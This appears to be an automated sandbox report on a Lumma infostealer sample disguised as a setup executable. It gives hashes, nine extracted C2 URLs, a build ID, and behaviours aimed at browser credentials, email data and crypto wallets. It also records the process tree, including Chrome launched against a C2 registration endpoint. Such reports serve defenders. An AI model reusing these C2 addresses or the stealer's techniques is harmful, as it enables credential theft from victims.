Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
16/05/2026, 20:05
Static task
static1
Behavioral task
behavioral1
Sample
ws-Setup-Complete.exe
Resource
win10v2004-20260513-en
General
- Target ws-Setup-Complete.exe
- Size 4.9MB
- Sample260516-yvb7dacv7n
- SHA256 7908c22432e29287fa07768c1573b899d1f216545f0fd6d49653945001ad4181
- MD5 8736506a3a43bbe07cd25d4964d632a3
- SHA1 af50bf1040aa0b1587a37b73b6ec809d7dcabeea
- SHA512 feff9d2485e24d5bf5e024627321ff316bc7a920a35bc46cc73f423072b72d9fc9d64dabdd66ef70aac185c4b542c7c5a74f8bc668940e194cd7cc4082cc1067
- SSDEEP 49152:jhlMNo5UB8TyN0ZB8tcqFzvj36HHFUMm6MbQHt:F2o53TgeB8tcqF3kZ7Ht
- TLSH T1AD363B04FEC680F1D9175B3121BFB33FA72C281846399653EFA03EA6B977751186660E
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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lumma
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https://shenyac.cyou
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https://decrnoj.club/xxx
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https://pomflgf.vu/help
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https://carytui.vu/caccc
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https://mushxhb.best/info
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https://genugsq.best/main
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https://ulmudhw.shop/create
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https://strikql.shop/owner
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https://longmbx.click/manifest
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build_id
37934481450b824f5d084fe6153b86d32711
Signatures
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ws-Setup-Complete.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4732 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134236938608028233" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 672 ws-Setup-Complete.exe 672 ws-Setup-Complete.exe 672 ws-Setup-Complete.exe 672 ws-Setup-Complete.exe 2108 chrome.exe 2108 chrome.exe 672 ws-Setup-Complete.exe 672 ws-Setup-Complete.exe 672 ws-Setup-Complete.exe 672 ws-Setup-Complete.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe - Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeShutdownPrivilege 2108 chrome.exe Token: SeCreatePagefilePrivilege 2108 chrome.exe Token: SeShutdownPrivilege 2108 chrome.exe Token: SeCreatePagefilePrivilege 2108 chrome.exe Token: SeShutdownPrivilege 2108 chrome.exe Token: SeCreatePagefilePrivilege 2108 chrome.exe Token: SeShutdownPrivilege 2108 chrome.exe Token: SeCreatePagefilePrivilege 2108 chrome.exe Token: SeShutdownPrivilege 2108 chrome.exe Token: SeCreatePagefilePrivilege 2108 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe 2108 chrome.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 672 wrote to memory of 2108 672 ws-Setup-Complete.exe 81 PID 2108 wrote to memory of 1824 2108 chrome.exe 82 PID 2108 wrote to memory of 4732 2108 chrome.exe 83 PID 2108 wrote to memory of 1580 2108 chrome.exe 84 PID 2108 wrote to memory of 1580 2108 chrome.exe 84 PID 2108 wrote to memory of 1128 2108 chrome.exe 87 PID 2108 wrote to memory of 1128 2108 chrome.exe 87 PID 2108 wrote to memory of 3172 2108 chrome.exe 88 PID 2108 wrote to memory of 3172 2108 chrome.exe 88 PID 2108 wrote to memory of 4132 2108 chrome.exe 85 PID 2108 wrote to memory of 4132 2108 chrome.exe 85 PID 2108 wrote to memory of 4012 2108 chrome.exe 86 PID 2108 wrote to memory of 4012 2108 chrome.exe 86 PID 2108 wrote to memory of 4632 2108 chrome.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\ws-Setup-Complete.exe"C:\Users\Admin\AppData\Local\Temp\ws-Setup-Complete.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" shenyac.cyou/api/set_agent?id=9C4DE6F4BD24956701AEC7B30ADF174C&token=37934481450b824f5d084fe6153b86d32711&description=&agent=Chrome2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe38f4c728,0x7ffe38f4c734,0x7ffe38f4c7403⤵PID:1824
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1960,i,7022195449044638757,16978757570158922049,524288 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2088 /prefetch:113⤵
- System Time Discovery
PID:4732
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,4145058652696311409,17031460563315033378,262144 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2052 /prefetch:23⤵PID:1580
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,5924187000672751304,10974640704973140551,524288 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2368 /prefetch:133⤵PID:4132
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2964,i,15989048142385071431,1466278580593601834,2097152 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3104 /prefetch:13⤵PID:4012
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2956,i,1343674942408869998,7811031408528954309,2097152 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3084 /prefetch:13⤵PID:1128
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3812,i,12079260277664073333,6451652694884502331,2097152 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3816 /prefetch:93⤵PID:3172
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5276,i,409688974729767332,12010720250123241809,524288 --field-trial-handle=2056,i,8740503744420771981,14594385090028208897,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5280 /prefetch:143⤵PID:4632
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:868
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 dbaff343936ed8526e23eaf0bff2ab3bf588185f6de4d73187238d2e0778a1c8
- MD5 264a692bbccb88266d5687adc57ca082
- SHA1 a2468b0cd250ef6a08a9396c0b8037bf01cfb997
- SHA512 d0dd009f9f3857d03a29ef2320995a45a09816eac0351820e27894583ff7995ce491b8fcb96756d6325588ea44469a9482fb6e24249f022e88d436f201ed4b7c
- TLSH T1A1E0EDAACC21AC7B48FD1768A5500B42FB10135B2A815D6F363C96098FF067E018686C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\432b0570-a38b-4856-a9b6-05ad66ab73ce.tmp
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 87bbbd63cddf7ec55308d0b1333ea7962a3f4ca2b8743fe6cc04a33ee7ae9afe
- MD5 dfd113cbf1527e983664e8f8c8f474a1
- SHA1 62f4a750c2144abeeb3e6f08e2e12052fcd21141
- SHA512 48f892b2e6d799db8c7d231d7e14339625d73bae0b96e1b1eadbdbff7fad943dd086eba6ebb568a161a043f3fb23fbf6ff2831795db4d9550c6de4323a0d4a68
- SSDEEP 3072:H8uwLcXcgVXruSixWgL0rF6jh9JDvexqw/w5nP:RwCcmXKegIh6jh9JvexhQ
- TLSH T115C3125A29273DA688BC6EB37457338286A313A26C05F14E90CCDF0B49DDDB515EF8B4
- MD5 SHA1 SHA512 SSDEEP TLSH